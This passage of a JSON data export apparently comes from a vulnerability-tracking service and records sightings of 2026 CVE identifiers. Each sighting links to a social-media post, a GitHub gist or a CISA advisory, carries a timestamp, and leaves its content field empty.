"931e72ec-f846-4349-8d76-57cda4b951bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27116", "type": "seen", "source": "https://gist.github.com/alon710/79921bd932bf2a0c25c4d230a1f15f91", "content": "", "creation_timestamp": "2026-02-26T06:10:19.000000Z"}, {"uuid": "0b0f183b-dfce-419f-a2a7-c0b465c9d71e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27836", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvkie5lo22s", "content": "", "creation_timestamp": "2026-02-28T06:03:27.136687Z"}, {"uuid": "30e08c09-37f9-4cd2-ade9-23ce551166d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27973", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqk4duhku24", "content": "", "creation_timestamp": "2026-02-26T06:13:24.615704Z"}, {"uuid": "66a7e0f9-3d36-4d26-bca5-0a93446e5e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27028", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-08", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "24de54c3-0e82-4458-9190-450e26a31ead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27755", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvkilemo52s", "content": "", "creation_timestamp": "2026-02-28T06:03:34.379760Z"}, {"uuid": "4916ce78-fcf8-4f84-a6b0-0c307847045f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27970", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqkfcc4zw2v", "content": "", "creation_timestamp": "2026-02-26T06:18:25.250853Z"}, {"uuid": "a7928ed2-be21-4260-a9b7-e9e1711918e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27647", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-08", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "7046258a-960e-490e-ad7a-cb72b90a4051", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27212", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mfmzocjebd2q", "content": "", "creation_timestamp": "2026-02-24T20:41:14.902633Z"}, {"uuid": "0c37b98f-602e-4afe-b90c-938676b2779e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27772", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-07", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "a9e4aa27-222e-4c18-807c-c843acad8347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27982", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgc6sg5ru32o", "content": "", "creation_timestamp": "2026-03-05T06:38:55.778906Z"}, {"uuid": "bee438f2-80ab-4d02-a620-ae090fb68df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27899", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqkmizhno2s", "content": "", "creation_timestamp": "2026-02-26T06:22:27.383184Z"}, {"uuid": "74e591eb-ad8d-4f61-8c26-c44fe0cadd66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27981", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6z4lab5b2v", "content": "", "creation_timestamp": "2026-03-04T00:19:14.934908Z"}, {"uuid": "8c5347ed-1496-4e93-8507-3e1fb1ae5a67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27476", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfbqnpw4dh2n", "content": "", "creation_timestamp": "2026-02-20T09:00:34.684477Z"}, {"uuid": "c0f2ea00-8893-41a3-b1c4-807bcd35226f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27471", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116107799887997285", "content": "", "creation_timestamp": "2026-02-21T09:00:28.298787Z"}, {"uuid": "2211ec6d-8ad9-4878-8de6-9fd228e5f12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27700", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg3thy6rv42u", "content": "", "creation_timestamp": "2026-03-02T18:00:16.285386Z"}, {"uuid": "b54ac8c6-dbad-4bc0-ba02-a3fddb37f066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27476", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116102137906197441", "content": "", "creation_timestamp": "2026-02-20T09:00:46.594645Z"}, {"uuid": "cdf1df74-536e-4ad6-9ed5-d341eed3dc69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27471", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfeb4iktll2m", "content": "", "creation_timestamp": "2026-02-21T09:00:30.416522Z"}, {"uuid": "c7944000-0e89-4895-bbe4-a7302ed92627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqknpqtso2s", "content": "", "creation_timestamp": "2026-02-26T06:23:08.182146Z"}, {"uuid": "7c17358b-fb64-4e51-bf6c-51ed35951227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27012", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6zeas2hb2n", "content": "", "creation_timestamp": "2026-03-04T00:23:32.370253Z"}, {"uuid": "410ad60f-4880-4c30-8844-e8a38fcd58d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27755", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgafuqi2r42x", "content": "", "creation_timestamp": "2026-03-04T13:40:10.514872Z"}, {"uuid": "7588a904-5ceb-4c70-bdf6-1f7b922082fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27976", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqknx2s562s", "content": "", "creation_timestamp": "2026-02-26T06:23:15.648356Z"}, {"uuid": "0f128ccc-a496-4f65-a4ca-0029f4339a91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27767", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-06", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "85cc018a-a96f-47a3-91c9-25e8c49d8972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27622", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6zn76wgr2o", "content": "", "creation_timestamp": "2026-03-04T00:28:32.716507Z"}, {"uuid": "dc30d93e-dd3e-4b05-a162-54ad2230c8b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27479", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfebzxr5nj2h", "content": "", "creation_timestamp": "2026-02-21T09:16:58.511942Z"}, {"uuid": "d71bbc0a-3598-4c97-b8bb-28c4875b801f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27751", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvnoevu3k2t", "content": "", "creation_timestamp": "2026-02-28T07:00:29.928570Z"}, {"uuid": "3b5d22e3-ca44-4f21-847e-31f89e7ed0cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27751", "type": "seen", "source": "https://gist.github.com/alon710/a8729374d162a0f232d3d241025b96f8", "content": "", "creation_timestamp": "2026-03-01T09:00:23.000000Z"}, {"uuid": "04dbfa89-4eec-4e2e-aefe-f09c9eff9a19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27773", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-06", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "3730f7b3-9835-4742-b217-8c241bf20d24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27752", "type": "seen", "source": "https://gist.github.com/alon710/450c0991304a17194265f8f69b8932b3", "content": "", "creation_timestamp": "2026-03-01T09:00:22.000000Z"}, {"uuid": "4b658b6d-a2df-4e63-8711-7efdc1cefab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg72i2h3mz2e", "content": "", "creation_timestamp": "2026-03-04T00:43:33.736042Z"}, {"uuid": "414acf28-0f9c-4028-970d-2d95988f37c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27820", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/116175335177621730", "content": "", "creation_timestamp": "2026-03-05T07:15:34.877563Z"}, {"uuid": "d294f10e-a83f-4532-afb7-d591314ad784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27482", "type": "seen", "source": "https://gist.github.com/alon710/d7954c7332e01cf40fa1ed726cd8c207", "content": "", "creation_timestamp": "2026-02-21T09:40:40.000000Z"}, {"uuid": "31241308-01a2-491d-a677-4a29e485a700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27586", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfn3g52qfd2e", "content": "", "creation_timestamp": "2026-02-24T21:12:27.899070Z"}, {"uuid": "6044af13-6ad5-4b18-be59-42f852bd1649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27967", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgddqt3f5l2q", "content": "", "creation_timestamp": "2026-03-05T17:40:11.439048Z"}, {"uuid": "ed262fe3-f86f-4d05-85e6-e145c4b3115a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27498", "type": "seen", "source": "https://gist.github.com/alon710/25b136d0038953e552999c15a9366d7c", "content": "", "creation_timestamp": "2026-02-26T06:40:19.000000Z"}, {"uuid": "79b1ce37-f9e2-4e6d-9582-493ef394da87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2749", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvoimyh4z2c", "content": "", "creation_timestamp": "2026-02-28T07:15:11.628900Z"}, {"uuid": "5cf8181e-b423-457d-a15e-6bfa3933f2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mg73ihurfk2n", "content": "", "creation_timestamp": "2026-03-04T01:01:45.390258Z"}, {"uuid": "ed71affd-e1a9-4f8d-ad84-c24ba626d4bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27642", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfkyefyb4j2o", "content": "", "creation_timestamp": "2026-02-24T01:12:29.375265Z"}, {"uuid": "dccac4f7-4552-491f-96d5-217ea2e808a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2750", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvoitxoul2f", "content": "", "creation_timestamp": "2026-02-28T07:15:18.878964Z"}, {"uuid": "25ec8738-aea8-4f12-87fe-2b65fb96ccc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27475", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfn3tvv3k42m", "content": "", "creation_timestamp": "2026-02-24T21:20:10.397879Z"}, {"uuid": "ae301f13-86e3-472a-87d7-e8a44b240029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2751", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvoj3h3sz2c", "content": "", "creation_timestamp": "2026-02-28T07:15:26.928802Z"}, {"uuid": "968cb3bc-5b99-49e2-8386-ad3650f30820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27643", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfkypqz77k2y", "content": "", "creation_timestamp": "2026-02-24T01:18:50.019169Z"}, {"uuid": "1fba224d-68c3-4dc1-a35a-953dd4fa970e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27635", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqmo6hs4r2x", "content": "", "creation_timestamp": "2026-02-26T06:59:11.459738Z"}, {"uuid": "bc0ded55-c747-49bf-bacc-7e2b5f607ea4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27652", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-03", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "4cff4db9-7550-47ae-9fee-5b1f0922f08b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27575", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqmogdr4x2d", "content": "", "creation_timestamp": "2026-02-26T06:59:19.181638Z"}, {"uuid": "dc8ae4eb-a788-4f7c-86ae-ff43c3b831f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27624", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfvorjpuaa2l", "content": "", "creation_timestamp": "2026-02-28T07:20:09.567011Z"}, {"uuid": "fe1fa232-dc0b-4953-9b36-34c025f3f131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27757", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg75nasnqg2m", "content": "", "creation_timestamp": "2026-03-04T01:40:09.613022Z"}, {"uuid": "4686ed5b-3303-44c3-a671-17a09115e01a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27836", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgcc7xhsry2x", "content": "", "creation_timestamp": "2026-03-05T07:40:11.363793Z"}, {"uuid": "28742a6c-f244-48df-a813-9071179c9931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27749", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgdeg2kwj22d", "content": "", "creation_timestamp": "2026-03-05T17:52:06.421885Z"}, {"uuid": "31f03b07-b378-4c42-9167-8df966f463e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27635", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqmp5efp22s", "content": "", "creation_timestamp": "2026-02-26T06:59:43.394790Z"}, {"uuid": "428ebcfd-cfa7-489a-a6e9-c8d8e0e9bc3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27755", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116147082118962721", "content": "", "creation_timestamp": "2026-02-28T07:30:28.680814Z"}, {"uuid": "e8bbb08d-3744-4473-8a41-80f23a779442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27477", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfn4boutc72y", "content": "", "creation_timestamp": "2026-02-24T21:27:52.485836Z"}, {"uuid": "69abfb70-4cb2-4dc4-99a7-c5a6a417f7d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27575", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqmpfjkl62c", "content": "", "creation_timestamp": "2026-02-26T06:59:52.583652Z"}, {"uuid": "de918b77-4bfb-4824-9166-e839e1e17b87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27755", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfvpdyce252u", "content": "", "creation_timestamp": "2026-02-28T07:30:29.337794Z"}, {"uuid": "3de5d4b3-c341-4d98-a8f8-c6f19083eb17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27497", "type": "seen", "source": "https://gist.github.com/alon710/701a60f9f2d4887df5a419fe55913115", "content": "", "creation_timestamp": "2026-02-26T07:10:19.000000Z"}, {"uuid": "0f75c125-4f90-4804-af7d-33b30541cd3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116177864137232689", "content": "", "creation_timestamp": "2026-03-05T17:58:43.163498Z"}, {"uuid": "025514fb-f378-48e3-97e3-74474ec92d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27468", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfn4jo7vli2e", "content": "", "creation_timestamp": "2026-02-24T21:32:20.043603Z"}, {"uuid": "76f864f9-04f8-4e75-bf4c-8bb3d99d5055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27750", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgdetaxlpe2x", "content": "", "creation_timestamp": "2026-03-05T17:59:26.076877Z"}, {"uuid": "70a6c956-5fa2-4154-9914-026a8e47fb5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27575", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgdeuu5w3d2q", "content": "", "creation_timestamp": "2026-03-05T18:00:19.548692Z"}, {"uuid": "195b6a06-e048-41df-8320-5f69be2d6e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27577", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfqogaivz42o", "content": "", "creation_timestamp": "2026-02-26T07:30:32.255551Z"}, {"uuid": "d1577f63-68f4-478a-a367-a9572fe27898", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27748", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgdex3x7vo24", "content": "", "creation_timestamp": "2026-03-05T18:01:35.084876Z"}, {"uuid": "3e681a81-cba1-4c97-bad4-aaa069175b92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27941", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgg7fi7l6o2w", "content": "", "creation_timestamp": "2026-03-06T21:00:14.661857Z"}, {"uuid": "4034a265-b099-4ff8-ad6c-2291f5e9784f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://gist.github.com/alon710/1352ed038e89cecf857a70857225ae46", "content": "", "creation_timestamp": "2026-02-26T07:40:19.000000Z"}, {"uuid": "a82cb2c6-97f3-430b-84cd-5dfe9da209ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27900", "type": "seen", "source": "https://gist.github.com/alon710/db177992ad587ae21d2ec8067685c1a5", "content": "", "creation_timestamp": "2026-02-26T20:10:19.000000Z"}, {"uuid": "baa17e96-bc6c-4924-84a4-78ae33e2a335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27477", "type": "seen", "source": "https://bsky.app/profile/geeknik.bsky.social/post/3mfn54nc75g2n", "content": "", "creation_timestamp": "2026-02-24T21:42:57.513928Z"}, {"uuid": "33326750-97d3-45d8-bef2-b1db7f3071d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27970", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mgdf5dwaeo2m", "content": "", "creation_timestamp": "2026-03-05T18:05:05.071231Z"}, {"uuid": "bfbc218b-c693-40db-8feb-d2b1fc1fe681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27468", "type": "seen", "source": "https://bsky.app/profile/geeknik.bsky.social/post/3mfn54nc75g2n", "content": "", "creation_timestamp": "2026-02-24T21:42:57.625003Z"}, {"uuid": "7c69ac37-9179-44fd-ab35-1813d6553c00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mfs2j4uxcn2u", "content": "", "creation_timestamp": "2026-02-26T20:39:33.227246Z"}, {"uuid": "653a9923-7969-4c13-a09c-452108d74cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mfs2j4uxcn2u", "content": "", "creation_timestamp": "2026-02-26T20:39:33.334625Z"}, {"uuid": "b4612b93-4c93-4881-a62b-d416d3e3eade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27767", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg3xwtujmp2r", "content": "", "creation_timestamp": "2026-03-02T19:20:09.626452Z"}, {"uuid": "086c4076-6971-48a5-be5f-8c723258af84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27161", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mfh4sfhdin2d", "content": "", "creation_timestamp": "2026-02-22T12:21:14.817987Z"}, {"uuid": "efdc36c0-905c-4342-9761-8e075ab91820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27751", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116147436106549122", "content": "", "creation_timestamp": "2026-02-28T09:00:28.454670Z"}, {"uuid": "2242bd9d-5781-47a5-a761-e3f1d60e0e23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27888", "type": "seen", "source": "https://gist.github.com/alon710/46cb981f7572074584ce82b41bf22f76", "content": "", "creation_timestamp": "2026-02-26T20:40:19.000000Z"}, {"uuid": "184f89c2-2134-4702-8b49-10206df86c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27751", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfvuexj36j2o", "content": "", "creation_timestamp": "2026-02-28T09:00:30.477137Z"}, {"uuid": "a835cc12-3a23-4c8e-91b3-c6ab9583a40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27212", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mfl4w5462w2z", "content": "", 